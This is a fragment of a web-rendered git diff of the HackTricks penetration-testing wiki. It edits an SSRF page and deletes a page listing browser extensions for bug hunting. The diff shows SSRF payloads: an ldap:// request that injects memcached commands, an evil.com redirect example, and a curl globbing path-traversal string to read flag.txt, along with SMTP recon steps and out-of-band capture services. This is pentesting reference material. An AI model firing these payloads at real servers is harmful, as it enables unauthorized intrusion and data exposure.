Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
|
||||
|
||||
```
|
||||
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
|
||||
```
|
||||
- **Gopher://**
|
||||
- The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:
|
||||
|
||||
### Gopher://
|
||||
|
||||
|
@ -130,29 +133,6 @@ https://example.com/?q=http://evil.com/redirect.php.
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### SMTP
|
||||
|
||||
From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
|
||||
1\. connect with SSRF on smtp localhost:25\
|
||||
2\. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
|
||||
3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains\
|
||||
4\. connect
|
||||
|
||||
### Curl URL globbing - WAF bypass
|
||||
|
||||
If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:
|
||||
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
|
||||
## Capture SSRF Requests
|
||||
|
||||
* Burp Collaborator
|
||||
* [http://requestrepo.com/](http://requestrepo.com/)
|
||||
* [https://app.interactsh.com/](https://app.interactsh.com/)
|
||||
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
||||
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - A Burp Collaborator using ngrok
|
||||
|
||||
## SSRF via Referrer header
|
||||
|
||||
|
|
|
@ -1,39 +0,0 @@
|
|||
# Browser Extensions
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
* [**KNOXSS**](https://addons.mozilla.org/en-US/firefox/addon/knoxss-community-edition/): Search for XSS while you browse
|
||||
* [**Wappalyzer**](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/): Check technologies used by the website
|
||||
* [**HackBar** ](https://addons.mozilla.org/en-US/firefox/addon/hackbartool/)& [**Max HacKBar**](https://addons.mozilla.org/en-US/firefox/addon/maxs-hackbar/): Get payloads for most common web vulns in your bar
|
||||
* [**FoxyProxy**](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/): To easily configure a proxy for the browser
|
||||
* [**DotGit**](https://addons.mozilla.org/en-US/firefox/addon/dotgit/): It checks for sensitive files like `.git` in the current page
|
||||
* [**User-Agent Switcher**](https://addons.mozilla.org/en-US/firefox/addon/user-agent-string-switcher/): It allows you to modify your user-agent
|
||||
* [**ModHeader**](https://addons.mozilla.org/en-US/firefox/addon/modheader-firefox/): Change HTTP Headers sent by the browser
|
||||
* [**retire-js**](https://addons.mozilla.org/en-US/firefox/addon/retire-js/): Search for outdate JS libraries used
|
||||
* [**Email Extractor**](https://addons.mozilla.org/en-US/firefox/addon/mailshunt-email-extractor/): Extracts emails from websites.
|
||||
|
||||
## References
|
||||
|
||||
* [https://hacknopedia.com/2022/08/17/must-have-browser-add-ons-or-extensions-for-bug-bounty/](https://hacknopedia.com/2022/08/17/must-have-browser-add-ons-or-extensions-for-bug-bounty/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue